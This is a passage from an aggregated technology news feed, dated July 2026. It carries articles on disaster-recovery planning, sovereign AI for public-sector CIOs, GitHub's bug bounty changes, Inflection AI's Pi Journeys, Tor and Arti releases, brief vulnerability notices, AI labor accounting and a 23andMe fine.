This is also where boards need to change the conversation. A study found that only 5% of companies have cybersecurity experts on their board of directors. Recovery time objectives (RTOs) should not be buried in technical appendices. It’s all jargon to boards. That makes translation essential. RTOs must be explained in terms of business impact. “We can recover in four hours” is a technical statement. “Every hour of downtime costs us $2.3M and creates regulatory exposure in three jurisdictions” is a board statement.



That is the level of clarity leaders need.



The most prepared organizations do not wait for an incident to educate the board. They bring the conversation forward proactively. They frame recovery in business terms: revenue, regulatory standing, customer trust and brand reputation.



The most effective framing is often simple. Show the most critical systems. Show what happens if each one is down for one hour, four hours, 24 hours and 72 hours. Show the current recovery capability against each and then show the gap.



If your board is not demanding real answers, your business continuity strategy is likely underfunded and your business is exposed. This is a risk conversation worth forcing because the consequences do not stay inside IT. They can show up in customer churn or missed revenue and ruin an organization’s reputation.



Threat intelligence must be actionable, not archived



Geopolitical attacks, hacktivist campaigns and nation-state targeting aren’t abstract threats. They are active risks, and that intelligence cannot languish in the security team’s inbox. Executive leadership must be looped in — and immediately — so gaps can be closed before they’re exploited. Too often, intelligence enters the security operations function and never reaches the teams responsible for recovery infrastructure or executive decision-making.



If a threat actor is targeting a specific class of backup agents, the team responsible for those agents needs to know now, not two weeks from now. If intelligence suggests destructive activity against a sector, recovery owners need to validate isolation, access paths and restoration procedures immediately. If geopolitical tension increases the likelihood of targeting, executive leadership needs to understand what exposure exists and what actions are being taken. The organizations that survive aren’t just the best at incident response. They’re the ones who anticipated, rehearsed and invested before the attack.



Part of investing in a recovery strategy requires closing the loop between signal and action. The most prepared organizations have already mapped their critical recovery dependencies to specific threat categories. When intelligence touches one of those categories, there is a named owner and a clear set of actions. No guessing or forwarding emails into the void is needed because the distance between the warning and the employees’ ability to do something is shortened.



Looking ahead, the conversation will continue to evolve beyond traditional cyber response. Because in an AI-enabled enterprise, the new question is whether the data within those systems can still be trusted. When AI systems make decisions based on enterprise data, the attack surface becomes the data’s accuracy. A threat actor who quietly corrupts a dataset over 90 days before a recovery event has done more damage than just downtime. They can poison the inputs driving decisions across the business.



Regardless of how AI will change threat intelligence and cyber response, these principles remain the same. Know your problem, whether structural or technological. Ensure your human infrastructure keeps pace with your technical infrastructure, with clear cross-functional ownership and the tools and knowledge to act autonomously. Communicate with your boards often — and correctly.



Let’s not wait for the next headline to ask, “Are we ready?” Have those conversations now. Test your assumptions. Close your gaps. Because in today’s threat landscape, resilience isn’t IT’s job — it’s everyone’s mandate.



This article is published as part of the Foundry Expert Contributor Network.
Want to join?



GitHub revamps bug bounty program with new VIP tier, payout changes
Thu, 23 Jul 2026 11:13:39 +0200
GitHub is changing its bug bounty program to reward higher-quality vulnerability reports and reduce low-effort submissions, including AI-generated reports. The changes will take effect on July 27, 2026. Reports submitted before that date will be honored under the previous bounty…
Read more →
The post GitHub revamps bug bounty program with new VIP tier, payout changes appeared first on IT Security News.


Sovereign AI has become the public-sector CIO’s control problem
Thu, 23 Jul 2026 11:05:58 +0200

		
					  
						




In public-sector and regulated-cloud work, I learned that sovereignty rarely starts as a national strategy. It starts as an auditor’s question: Who can prove where the data went, which system made the decision and what changes when the vendor or infrastructure does? That question is now moving into AI, and most sovereign-AI debates answer the wrong version of it.



They ask whether a country can build its own model on domestic data and hardware. For the United States and China, which together hold more than 90% of global AI data-center capacity, per a January 2026 Tony Blair Institute analysis, that question is worth asking. However, for almost every other government, it is the wrong place to start. The operative question is narrower: Once AI is embedded in public services, who controls the stack?



The 5 layers of public-sector control



For a CIO, sovereign AI means enforceable control across the AI lifecycle; model ownership is a separate question. Control has five layers:




Data control: Where sensitive public data sits, and whether it can train a vendor’s model.



Model control: Which models clear which workloads, and under what validation.



Infrastructure control: Whether critical workloads run in approved environments.



Operational control: Whether AI-assisted actions are logged, monitored and reversible.



Vendor control: Whether the agency keeps portability, audit rights and a real exit.




Those five layers are the control plane for public-service AI. Floyd Dcosta recently made the enterprise case in “AI without sovereignty is just outsourced intelligence”: capability is what a tool can do; authority over how and when it does it is something a buyer can quietly lose. For public services, losing that authority plays out in the public eye.



Public-sector AI risk differs from enterprise risk. A retailer’s bad recommendation costs a sale; a government’s AI touches benefits, tax enforcement, policing and emergency response, raising the bar to due process, records retention and continuity of operations. A government that cannot reconstruct an AI-assisted decision lacks operational sovereignty, even in a domestic data center.



Evaluating risk: Concentration, jurisdiction and shadow AI



Foreign dependency is a real risk, but the exposure that matters is a sudden cutoff: A model you cannot audit, switch or exit, shut off by someone else’s order. A vendor’s nationality is a poor guide to that risk; control is.  Two markers matter. The first is concentration. In July 2024, a single faulty CrowdStrike update crashed about 8.5 million Windows machines, disrupting airlines, hospitals, banks and governments worldwide. No attacker was involved; one homogeneous dependency failed everywhere at once. The lesson points away from vendor nationality and toward uniformity as the fault line, making portability and provider diversity resilience controls.



The second is jurisdiction. In June 2025, Microsoft’s legal director for France told a Senate inquiry, under oath, that it could not guarantee that French public-sector data, even in French data centers, would be protected against US demands under the 2018 CLOUD Act. No such request had been made, and EU data has stayed in the EU since January 2025; senators called the assurance purely declarative. For the most sensitive data, residency does not equal control; the parent’s jurisdiction can matter as much as the server’s. Three US hyperscalers hold about 70% of the European cloud market, while European providers’ share fell from 29% in 2017 to roughly 15%. Concentration plus jurisdiction is the exposure a CIO must price. I have watched teams treat vendor selection as the moment risk was solved; it rarely was.



The wrong response is self-isolation. Most countries will never build frontier models, advanced chips, hyperscale clouds and talent pipelines at once; the Tony Blair Institute calls full self-sufficiency “too expensive, too slow and, for most countries, simply impossible.” The better test is workload sensitivity. Low-risk uses, such as drafting, translation and summarization, can run on commercial platforms with controls; high-risk uses, such as benefits eligibility, fraud investigation and healthcare triage, demand stricter control over data, model behavior and auditability.



Mandating domestic-only provision before a competitive option exists inverts sovereignty. Europe 2031, a five-year scenario from June 2026 by European technologists and policy researchers, illustrates the failure mode: A 2027 “buy European” mandate lands as offensive cyber capability spreads, and agencies that switched to weaker providers are locked out and paying ransoms. The scenario is fiction; the mechanism is not. Leverage comes from being indispensable, not half-hearted self-sufficiency. The closer-to-home effect is shadow AI: Mandate an inferior sanctioned tool and staff bypass it, the way shadow IT grows up around tools people find too slow. A rule that pushes sensitive work into ungoverned shadow AI reduces control instead of adding it.



Regulation and data-residency rules belong in any serious strategy, but carry failure modes. Blanket localization raises hosting costs and slows adoption without guaranteeing control, and a “sovereign cloud” on a foreign parent’s stack can amount to sovereignty theater. The more useful pattern tiers requirements by sensitivity. India’s BHASHINI shows the application layer done well: A public platform serving 100 million-plus inferences a month across 22-plus languages on a vendor- and cloud-agnostic design that keeps data and switching rights public. Sovereignty resides in the portability, not in a national model.



Building an operational sovereignty strategy



Public trust is the constraint sovereignty rhetoric tends to skip. The OECD’s 2025 review of government AI warns that opaque systems make AI-assisted decisions hard to explain and can give public servants false confidence in tools that fail quietly. State-controlled AI is the same problem from the other side: A government that deploys models against its own citizens without audit or record has gained control and lost accountability. An agency that can log, explain and reverse an AI-assisted action can defend it to citizens, courts, auditors and elected officials. If it cannot, it has bought access and called it sovereignty.



None of this is new. AI sovereignty repeats earlier fights over cloud, telecom, semiconductors and cybersecurity. Europe’s flagship cloud project, GAIA-X, became a cautionary tale; the Dutch technologist Bert Hubert called it an “expensive distraction” that produced no European cloud, the familiar result of ambition without absorptive capacity. Cloud taught governments that outsourcing infrastructure does not outsource accountability; telecom, that vendor dependency becomes strategic exposure; chips, that supply chains matter before a crisis; cybersecurity, that trust must be verified continuously. AI inherits all four at once.



Over the next five to ten years, some countries will build national platforms, more will build trusted cloud and trusted model regimes, and most will run hybrids that pair domestic data control with global model access. Trade policy will harden those choices: Export controls on compute and data-localization rules will pull the vendor market into blocs that track alliances more than open markets. For a CIO, that turns a vendor and hosting decision into a five-year bet on whose rules and supply chains will still hold. The ones that succeed will treat sovereignty as an operating requirement, backed by leverage, not a slogan. Start with the control plane before the model: Most agencies will never own the model, and the controls are what decide whether the AI they do run stays accountable. Even when procurement policy is dictated from above, these questions remain within the CIO’s authority:




Can we classify AI workloads by public-service risk?



Can we prove where sensitive data goes across training, retrieval, inference, logging and retention?



Can we restrict which models are approved for which data classes and functions?



Can we reconstruct an AI-assisted action in enough detail to explain it?



Can we change providers without losing continuity or institutional knowledge?



Can we explain the system to citizens, regulators, auditors and elected officials?




A “no” to any of these does not mean the agency lacks AI. It means the agency has access it does not yet control. Public institutions can use global innovation without surrendering public authority, but only once they know what to hold, what to rent and where dependency turns into risk.



This article is published as part of the Foundry Expert Contributor Network.
Want to join?



GitHub revamps bug bounty program with new VIP tier, payout changes
Thu, 23 Jul 2026 10:43:30 +0200
GitHub is changing its bug bounty program to reward higher-quality vulnerability reports and reduce low-effort submissions, including AI-generated reports. The changes will take effect on July 27, 2026. Reports submitted before that date will be honored under the previous bounty structure. “Alongside the growth in legitimate reports, we’ve seen a sharp increase in submissions that don’t demonstrate real security impact. These include reports without a proof of concept, theoretical attack scenarios that don’t hold up … More →
The post GitHub revamps bug bounty program with new VIP tier, payout changes appeared first on Help Net Security.


IT Security News Daily Summary 2026-07-22
Wed, 22 Jul 2026 23:58:44 +0200
169 posts were published in the last hour 20:34 : OpenClaw security best practices for CISOs 20:34 : GitHub Cuts Public Bug Bounty Payouts, Moves Top Rewards to VIP Tier 20:4 : Third-Party SDKs Raise Privacy Questions for Apps Marketed…
Read more →
The post IT Security News Daily Summary 2026-07-22 appeared first on IT Security News.


GitHub Cuts Public Bug Bounty Payouts, Moves Top Rewards to VIP Tier
Wed, 22 Jul 2026 23:04:16 +0200
Beginning July 27, 2026, GitHub will cut public bug bounty payouts by at least half at every severity level. Critical findings will drop from $20,000-$30,000+ to a fixed $10,000, while its permanent invite-only VIP tier will pay $30,000 or more.…
Read more →
The post GitHub Cuts Public Bug Bounty Payouts, Moves Top Rewards to VIP Tier appeared first on IT Security News.


Inflection AI returns to consumer market with Pi Journeys after Microsoft upheaval
Wed, 22 Jul 2026 22:58:21 +0200
Inflection AI, the Palo Alto startup that two years ago became Silicon Valley's most famous cautionary tale about the brutal economics of frontier AI, announced Tuesday that it is returning to the consumer market with a new research division and an experimental product built around a provocative thesis: the next competitive battleground in AI won't be raw intelligence, but relationships.
The company launched Inflection AI Labs, a public-facing research and experimentation arm, alongside Pi Journeys, the lab's first product experiment — an AI experience designed to adapt to a user's life stage, whether that's becoming a parent, taking on caregiving duties, changing careers, or aging. The announcement arrived with a research report on consumer AI habits and a substantial update to Pi, the company's flagship chatbot, adding improved voice, memory, and new agentic tools for reminders, to-do lists, and shopping.
"Inflection AI is the company. Pi is our flagship consumer product. Inflection AI Labs is where we experiment, explore personal intelligence and share more publicly. Pi Journeys is the first public experiment from Inflection AI Labs," CEO Sean White told VentureBeat in an exclusive interview.
Behind the tidy org chart is a far more interesting story: a company attempting one of the more unusual second acts in the AI industry, powered by an argument that the entire market is optimizing for the wrong thing.
Why Inflection AI believes the chatbot era's biggest flaw is that it's transactional
White's central claim is that today's AI assistants — including the industry's most capable models — are fundamentally transactional. You ask, they answer, the session ends. He believes that architecture misses most of what people actually need from artificial intelligence in their daily lives.
"One of the things that really struck us in particular, and this showed up in the research, was that a lot of the work is very transactional, and you'll hear me say a lot that we've been shifting all this from transactional to relational systems," White said. "Not everything is going to be: I do a single turn, I utter a question, I get a search response back."
White frames the industry's evolution as a progression through four kinds of intelligence. First came raw IQ — the foundation model race. Then emotional intelligence, which Inflection made its signature with Pi's famously warm conversational style. Then agentic intelligence — AI that acts rather than just talks — which White says Inflection absorbed from its enterprise work. The fourth, and the one Inflection is now staking its future on, is what the company calls relational intelligence: AI that understands not just you, but the web of people around you.
"There's so much fear about these things pushing people into loneliness,” White said. “If we design these pro-social systems as another design criteria, that actually makes a huge difference."
That design philosophy is a pointed counter-narrative to one of the loudest anxieties in consumer AI right now: that emotionally engaging chatbots deepen isolation by substituting for human contact. Inflection argues the opposite is possible — that an AI with structured knowledge of your relationships can push you back toward people rather than away from them.
Inside Pi Journeys, the AI companion that maps your relationships and life stages
Pi Journeys makes that idea concrete. When users first open the product, it asks about their life stage — caregiver, household manager, midlife transition — and then builds what White describes as specially structured memory around the people who matter in that context. From there, the system becomes proactive.
"It starts to build up memories around that, and it acts as a memory prosthetic — but in a pro-social way," White said. "It doesn't get in the way of your interactions with other people; it really helps facilitate them." The system might remind a user, for example, that a friend deserves a call, or resurface what was last discussed with a family member involved in a parent's care.
White, who spent years as chief R&D officer at Mozilla before taking Inflection's helm, was quick to flag the obvious privacy implications of an AI that maps your social graph. "We've built a lot of privacy systems into this," he said, noting users can delete and manage the people recorded in their profile. Whether consumers will trust a venture-backed AI company with a structured database of their most important relationships remains one of the biggest open questions hanging over the product — and one that enterprise buyers evaluating Inflection's technology will watch closely.
Asked why this was the first Labs experiment, White was direct: "Pi Journeys takes into account people's life stages and experiences because we have heard from users that we can provide more value in helping them navigate their lives. Pi Journeys lets us experiment with the early stages of prosocial and relational intelligence because life isn't single-player."
The product has been tested internally and with small closed groups, White said, and is now being released more broadly as an experiment rather than a finished product — a posture the Labs branding is designed to make explicit.
What Inflection's consumer AI research reveals about how people actually use chatbots
Inflection Labs' first publication, the State of Consumer AI Research Report, offers the empirical scaffolding for the strategy. The average consumer now uses roughly two different AI tools every day and three per week, the company found — evidence, in Inflection's reading, that no single assistant has locked up consumer loyalty and that the market remains contestable.
More telling is why people choose the tools they do. Respondents cited personalization, style and tone, context awareness, and — notably — emotional understanding as deciding factors. They also said they want AI to be more than a productivity engine: a coach or mentor to motivate them, a chef to suggest recipes, a DJ to curate playlists.
"One thing we're certainly finding is that a lot of that also is in work, not so much in everyday life," White said. "That's our focus right now — the everyday life part."
This is a shrewd reading of the competitive map. The best-funded AI labs are pouring resources into coding tools, enterprise agents, and developer platforms, leaving everyday consumer use cases comparatively underserved. White sees the gap clearly. "We see a lot of products that are being aimed more and more at the enterprise," he said. "As a computer scientist by training, I kind of love the IDEs as this tool, but it's not really great for everybody. There's so much regular everyday use from folks that is either purely voice or that is purely mobile."
He recalled a conversation with a conference staffer who told him she owned only a phone, no laptop — exactly the kind of user, he argued, that the industry's developer-centric product roadmaps have left behind.
How the $650 million Microsoft deal hollowed out Inflection — and set up its second act
To understand why any of this is remarkable, you have to rewind to March 2024. Inflection was then one of the hottest startups in AI, having raised $1.3 billion in mid-2023 in a round backed by Microsoft, Nvidia, Bill Gates, and Reid Hoffman — more than $1.5 billion in total. Pi had crossed one million daily active users, per Reuters.
Then, in a deal that reshaped how the industry thinks about acqui-hires, Microsoft hired away co-founder and CEO Mustafa Suleyman, chief scientist Karén Simonyan, and most of the company's roughly 70 employees, paying Inflection about $650 million largely to license its technology, as Reuters reported. Suleyman now runs Microsoft's consumer AI business. The structure of the deal drew scrutiny from the FTC and Britain's competition regulator, though the UK's Competition and Markets Authority cleared it in September 2024 and EU regulators declined to act.
White, installed as CEO in the aftermath, steered the remnant company hard toward enterprise, acquiring three startups in late 2024 — Jelled.AI, BoostKPI, and the European consulting firm Boundaryless — and telling TechCrunch that November that Inflection had no intention of competing with companies building 100,000-GPU frontier systems.
Tuesday's announcement doesn't reverse that position so much as complicate it. Asked how to think about the company today, White called it "a consumer-first strategy that bridges both consumer and enterprise efforts" — and he insists the two sides feed each other.
Enterprise deployments, including a partnership with Intel that is among the few he can name publicly, taught Inflection how to run models inside complex infrastructure. Consumer products, meanwhile, let the company iterate at speed. "The part I also like about the consumer side, and this has always been true, is that we can move faster, experiment faster, and try and learn faster," White said.
The six-month prediction: relationship-aware AI is coming to the enterprise
Buried in White's consumer pitch is the claim that should matter most to technical decision-makers. "Normally I'd say like a year, but let's call it six months," he said. "You're going to start to see a bunch of enterprises care a lot more about the relationships that are inside the enterprises and what that picture is, not just the workflows."
If White is right, the wave of workflow-automation agents currently flooding the enterprise market is only the first phase of business AI adoption — with relationship-aware systems, tested first on consumers, following close behind. Inflection is essentially using its consumer products as a live laboratory for capabilities it plans to sell into companies. It's a capital-efficient strategy for a firm that can no longer outspend rivals on training runs, and a risky one, since it depends on consumers showing up in numbers large enough to generate the learning.
The technical substance underneath is equally pragmatic. Pi today runs not on a single proprietary frontier model but on an orchestration layer routing across many models — some descended from Inflection's original fully trained cores, some fine-tuned, some open source, including work with Nvidia that White says gives Inflection access to unreleased cutting-edge models. He also took a swipe at the industry's loose vocabulary around ownership: "When people say that the model is their own, most of the time nowadays — I guess I won't name names — a lot of companies will actually take a checkpoint, and then they will fine-tune from that checkpoint. But very few people actually start from that beginning core."
That candor extends to open source, where White carefully hedged. "We're not ready to promise what I think of as true open source, and by that I mean everything," he said, invoking his Mozilla years overseeing genuinely open projects like Rust and WebAssembly.
Weights without training data and pipelines, he argued, often leave developers unable to do anything meaningful with a supposedly "open" model. "We are a PBC, and there's still a C in there," he added — a reminder that public benefit corporations still have businesses to protect. The Labs will collaborate with academic researchers, including Stanford professors who visited the company's Palo Alto office this week, and continue contributing to open projects such as PyTorch.
Can a diminished Inflection compete with AI giants spending billions?
Reid Hoffman, the LinkedIn co-founder who co-founded Inflection and stayed on through the Microsoft upheaval, framed the announcement in the sweeping terms of his recent writing on AI and human agency. "Humans should be amplified by AI, not replaced. That's the principle Pi was built on," Hoffman said in the announcement. "When that kind of agency is available to everyone, you get superagency."
The skeptic's case is easy to make. Inflection is a fraction of its former size, competing for consumer attention against products from companies spending tens of billions of dollars a year. Pi's model was state of the art in 2023; it is not in 2026. And "relational intelligence" is, for now, a brand claim awaiting proof.
But the bull case is not crazy either. Inflection's own research shows consumers already juggle multiple AI tools and choose them for qualities — tone, emotional understanding, personalization — that frontier labs treat as afterthoughts. The company kept its technology, its Microsoft licensing windfall, and a defensible enterprise niche in on-premise, emotionally intelligent deployments. And it is targeting the one consumer segment — everyday, mobile-first, voice-first life management — that the coding-obsessed giants have largely ignored.
Asked what success looks like twelve months from now, White declined to talk numbers. "It's less about scale for scale's sake and more about scaling for impact by empowering people and improving their lives," he said. "Over the next year, success means leading the market towards relational intelligence and transforming AI interactions from transactional to relational."
Two years ago, Microsoft walked away with Inflection's founders, its staff, and its shot at the frontier — but it left behind the one idea the giants still haven't figured out how to build: an AI that knows the people in your life matter more than the tasks on your list. Inflection is betting the company, again, that the idea was the valuable part all along.




Release v0.52.0
Wed, 22 Jul 2026 22:53:01 +0200
What's Changed

Refactor: exclude transient CI configuration files from workspace context by @DavidAPierce in #28216
feat(caretaker-triage): add triage worker core foundational modules by @chadd28 in #28163
feat(caretaker-egress): implement octokit github action handler for egress service by @chadd28 in #28303
chore(release): bump version to 0.52.0-nightly.20260707.g27a3da3e8 by @gemini-cli-robot in #28323
Changelog for v0.51.0-preview.0 by @gemini-cli-robot in #28320
Changelog for v0.50.0 by @gemini-cli-robot in #28322
fix(core-tools): bypass LLM correction for JSON and IPYNB files in write_file and replace by @amelidev in #28223
fix(core): use unambiguous previous intent label in fallback summary by @amelidev in #28343
feat(caretaker-triage): implement main worker execution loop and egress action publisher by @chadd28 in #28306
fix(privacy): show a clear message when the account has no Code Assist tier by @ompatel-aiml in #28304
fix(core): enrich shared project quota limit errors with setup hint by @amelidev in #28391
fix(a2a-server): ensure task cancellation aborts execution loop by @luisfelipe-alt in #28316
fix(core): simplify plan mode write policy to support relative paths by @DavidAPierce in #28398
feat(core): Bump node google-auth-library version to 10.9.0 by @jerrylin3321 in #28385
chore/release: bump version to 0.52.0-nightly.20260715.gfa975395b by @gemini-cli-robot in #28402

Full Changelog: v0.51.0...v0.52.0


GitHub Cuts Public Bug Bounty Payouts, Moves Top Rewards to VIP Tier
Wed, 22 Jul 2026 22:40:47 +0200
Beginning July 27, 2026, GitHub will cut public bug bounty payouts by at least half at every severity level. Critical findings will drop from $20,000-$30,000+ to a fixed $10,000, while its permanent invite-only VIP tier will pay $30,000 or more.

Reports filed before that date, including those already in GitHub's growing triage queue, will retain the previous payout terms.

GitHub said the


Sunsetting Tor 0.4.8 – Please update to 0.4.9 by September
Wed, 22 Jul 2026 22:34:49 +0200

    
      


      
    
    Hello Tor Community!
As you know, different teams inside the Tor Project are working on the Arti
Relay project where we hope to be able to begin the upgrade of the network
towards our Rust implementation of Tor in the near future. To support this
work, we would like to announce that we intend to actively stop compatibility
for 0.4.8 and earlier C Tor versions soon. This means that these versions will
no longer work on the network at all after our target date, which is
currently September 1st, 2026.
If you’re a Tor Browser user running an up-to-date version of Tor Browser, this
won't impact you. If you're running an older, perhaps not-so-well-maintained,
Onion Service somewhere, or you’re building an app that integrates C Tor, you
may want to read along here.
Tor 0.4.8 reached End of Life on the 1st of
June,
and there will not be any more updates to this release series. We highly
encourage people to upgrade to the Tor 0.4.9 series (or later).
Usually, we try not to break existing releases, even if they are unsupported,
unless we have a pretty good reason. In this case, we have several reasons.
With the work towards Arti on both the client and relay, the Network Team has
identified a couple of features we would like to remove from the Tor ecosystem.
Removing support for 0.4.8 will help us facilitate a smooth transition, and reduce effort associated with
difficult to maintain features that provide very little value. Unfortunately,
because Tor’s Directory Protocol layer works the way it does, we cannot remove
these features without affecting older clients.
The most important reason is this: in 0.4.9, we have made some former fields in
our directory data obsolete -- specifically, TAP onion
keys and family
lines. Removing
these fields will let us save a great deal of client directory bandwidth for
everyone.  This, in turn, will make all Tor clients bootstrap a little faster,
especially those on slow connections. But when we remove these fields, clients
and relays running earlier versions of Tor will no longer work, since they
expect the TAP onion keys to be present. Therefore, in order to deliver
improved performance faster, we need to accelerate the date on which 0.4.8 will
stop working.
The secondary reason for sunsetting 0.4.8: Our Arti directory authority
implementation needs network integration soon, and it will be easier to write
if it doesn’t support deprecated fields.
With this blog post out, we will begin reaching out to the downstreams of Tor
we identified as shipping older versions and try to get them to upgrade. We
appreciate community help here, too. If you identify that your favorite project
that bundles Tor uses an outdated version of Tor, please reach out to them and
(politely!) encourage them to upgrade. We are tracking some of this outreach in
network-health/team#460.
If you have a very good reason for needing a longer time with 0.4.8 support
than 1 September 2026, please let us know by leaving a comment on that ticket.
Thank you!

    
  
    
        
          tor
        
      
  
  


Arti 2.5.0 released: Stable Counter Galois Onion
Wed, 22 Jul 2026 22:34:39 +0200

    
      


      
    
    Arti is our ongoing project to create a next-generation Tor implementation in
Rust.  We're happy to announce the latest release, Arti 2.5.0.
This release marks Counter Galois Onion as a stable feature and includes it in
full feature builds.  Likewise, Congestion Control is now enabled in default
builds of Arti, increasing the overall speed without any further configuration.
Unfortunately, this release also comes with the disclosure of two medium-severity
DoS security issues, TROVE-2026-024 as well as TROVE-2026-027, whose fixes
are of course included within the release.
Additionally, this release continues our ongoing development towards using
Arti as a relay and as a directory authority.
Another noteworthy change is that we've increased our minimum supported Rust
version to Rust 1.91, released in October 2025.
Of course, this release also contains a number of bugfixes, cleanups, and
improvements throughout various parts of the code base.
For full details on what we've done, including API changes,
and for information about many more minor and less-visible changes,
please see the CHANGELOG.
For more information on using Arti, see our top-level README,
and the documentation for the arti binary.
Thanks to everybody who's contributed to this release, including
5225225, Neel Chauhan, hjrgrn, moumenalaoui, pryty26.
Also, our deep thanks to our sponsors for funding the development of Arti!

    
  
    
        
          announcements
        
      

        
          releases
        
      
  
  


USN-8587-1: HTML-Parser vulnerability
Wed, 22 Jul 2026 16:55:03 +0200
It was discovered that HTML-Parser incorrectly handled entity references
when the input string was identical to an entity value in the lookup table.
An attacker could possibly use this issue to obtain sensitive information.


The Galaxy Z Fold 8 Ultra Tries Hard to Justify Its New ‘Ultra’ Name
Wed, 22 Jul 2026 15:36:12 +0200
With its refined screen, faster charging and new processor, Samsung’s top-tier foldable has a lot to offer. 


Ubuntus Snap-Sandbox wird zum Root-Einfallstor
Wed, 22 Jul 2026 14:15:37 +0200
Ubuntus Snap-Sandbox wird zum Root-Einfallstor

      
      
        
          
            
                



            
          
        
              
    
  Daniel Richey
Mi., 22.07.2026 - 14:00


            Ein Sicherheitsteam von Qualys hat eine Schwachstelle in der Snap-Sandbox von Ubuntu aufgedeckt, mit der sich jeder lokale Nutzer binnen Sekunden zum Systemadministrator machen kann. Betroffen sind ausgerechnet jene Ubuntu-Versionen, die eigentlich als besonders gehärtet gelten.
      
    
          News
      
  
    Weiterlesen über Ubuntus Snap-Sandbox wird zum Root-Einfallstor
  


The AI bill is the easy part. The hard part is everything it changed
Wed, 22 Jul 2026 12:14:04 +0200

		
					  
						




Your CFO has a simple question. “We’re spending more on AI. What are we getting for it?” Most CIOs cannot answer it — not because AI isn’t creating value, but because the accounting systems we inherited were built before AI existed as a category of labor.



This June, the conversation shifted from token maxing to token cutting. The New York Times reported that Meta, Uber, Walmart and Amazon are capping employee AI usage. Uber blew through its 2026 AI budget in four months. Satya Nadella started framing it as human capital versus token capital.



All of that is true. None of it answers the CFO. Capping tokens is an input lever, not an output measure. And the human-versus-token framing names two sources of labor when the reality is four.



The enterprise now has 4 sources of labor



There are humans. There are humans assisted by AI. Humans are working alongside AI. And humans are managing AI. Sources two through four are all supervised machine labor at different intensities — none of them have a line item, a manager or an hourly rate. In our 2026 AI Labor Report, 78% of leaders view AI as both software and a labor force. The org chart has not caught up. Neither has the P&L.


Four-source framework and A-Level taxonomy: Lanai  ·  Lanai / Wakefield Research, n=200, March–April 2026
Lexi Reese



Most enterprises are stuck at A-Level 1 with no accounting for any of it, while quietly sliding into A-Level 2. The job descriptions have not caught up. The budget has not caught up. You cannot upskill into a role that has not been named.



AI is the only category of work the modern enterprise has ever bought without a system of record for what it produced.



What you are actually running is supervised machine labor



The model does a first pass. A human makes it usable. One hundred percent of leaders we surveyed said AI work requires human review before it ships; 34% said substantial editing. That is a workforce with no manager, no hourly rate and no line on the income statement.



The accounting breaks in 3 places at once



Under GAAP: COGS if it helps produce the product, OpEx if it does work for you. The same workflow can hit all three buckets at once. A tier-one support resolution involves the human’s salary (OpEx), the AI’s tokens (COGS if support is a delivered service), and the supervisor’s review time (OpEx). Three buckets. One piece of work. No reconciliation. The token invoice arrives from Anthropic or OpenAI and gets coded to OpEx-software because that is what the bill looks like. Audit partners will be asking about this by next year.



When you call AI a tool, you book it like software. When you call it labor, you have to ask which kind and what it is producing.



The per-employee number is the wrong unit



Per-employee AI spend collapses a workforce into a per-head average. It hides the only number that matters: What AI is producing inside each workflow.



Lanai measured two teams inside the same finance organization. Same monthly prep and variance analysis. AI took the same amount of time to produce outputs of similar quality. The only variable was the model each team reached for by default — a choice nobody had made deliberately and nobody had seen until it was measured.


White-labeled example. Workflow profile, hours and economics drawn from a representative customer engagement.
Lexi Reese



The gap existed for months before anyone saw it.



Faith-based budgeting — the organizational equivalent of putting money in the collection plate and hoping God handles the ROI — is what made it invisible.


Lanai / Wakefield Research  ·  n=200  ·  U.S. enterprises 1,000+  ·  March–April 2026
Lexi Reese



AI labor orphaning



That is not a measurement problem. It is a category error. We call it AI Labor Orphaning. AI does the work. The output gets credited to the human who approved it. The token bill lands in OpEx-software. The supervision time absorbs into salaried hours nobody is auditing. Eighty-seven percent of leaders admitted AI output is sometimes or always credited entirely to the human employee. This is the last-click attribution problem of the AI era, running in reverse.



What fills the vacuum? Belief. Forty-three percent assume that if AI was involved, it contributed. Only twelve percent have a clear methodology. Seventy-nine percent are worried AI budgets will be cut because they cannot connect spend to results. The cuts are not coming because AI does not work. They are coming because nobody can prove that it did.



Capping tokens may look like responsible governance, but it is like turning off a staticky radio rather than tuning the dial. The companies cutting AI budgets in 2026 will discover in 2027 that they cut the workflows that worked alongside the ones that did not.



The real cost of AI is not the model. It is the redesign



Three layers. Most organizations only manage the first.


Managing Layer 1 without Layers 2 and 3 is how you optimize the invoice while missing the transformation.
Lexi Reese



What to actually do



The 12% of organizations that can answer the CFO treat AI like every other category of labor — with a cost per AI Work Hour that is accounted for by a set of AI assistants, co-pilots and agents that are held accountable to performance standards. 




Audit the four sources separately. Each A-Level has different token economics, SaaS implications and human redesign requirements.



Find the embedded SaaS repricing before your next renewal. Pull your top 20 contracts. Ask whether AI features previously included are now priced incrementally.



Redesign the human role at A-Level 2 before you scale it. You cannot upskill into a role that has not been named.



Build a system of record before you build the next agent. Start with one department. Two weeks. You will find something that surprises you.



Stop calling it a tool. Start calling it labor. The language determines the chart of accounts.




When your blended AI rate is $22 an hour, the conversation shifts from ‘we spent $340,000 on AI’ to ‘we acquired a skilled workforce at $22 an hour.’ That sentence is defensible. A vendor invoice is not.



The CIOs who will have a defensible AI story in 2027 are the ones who renamed the work in 2026. Not because technology changed. Because they finally built the accounting to see it.



Findings are drawn from the 2026 AI Labor Report, fielded by Wakefield Research with 200 senior technology leaders at US enterprises of 1,000-plus employees, March 20–April 8, 2026 (±6.9pp at 95% confidence).



This article is published as part of the Foundry Expert Contributor Network.
Want to join?



Spain Fines 23andMe €2.4 Million Over Security Failures Behind 6.9 Million-User Breach
Wed, 22 Jul 2026 12:13:18 +0200
Spain’s data protection authority has fined the genetic testing company 23andMe €2.4 million due to security failures linked to a data breach in 2023. This incident exposed highly sensitive information such as genetic, health, ethnicity, and family-related data belonging to…
Read more →
The post Spain Fines 23andMe €2.4 Million Over Security Failures Behind 6.9 Million-User Breach appeared first on IT Security News.


Spain Fines 23andMe €2.4 Million Over Security Failures Behind 6.9 Million-User Breach
Wed, 22 Jul 2026 10:43:01 +0200
Spain’s data protection authority has fined the genetic testing company 23andMe €2.4 million due to security failures linked to a data breach in 2023. This incident exposed highly sensitive information such as genetic, health, ethnicity, and family-related data belonging to over 2,600 individuals in Spain. The penalty follows a significant credential-stuffing attack that compromised data […]
The post Spain Fines 23andMe €2.4 Million Over Security Failures Behind 6.9 Million-User Breach appeared first on Cyber Security News.


FBI Updates IC3 Scam Warning Over AI Videos Targeting Victims
Wed, 22 Jul 2026 10:08:38 +0200
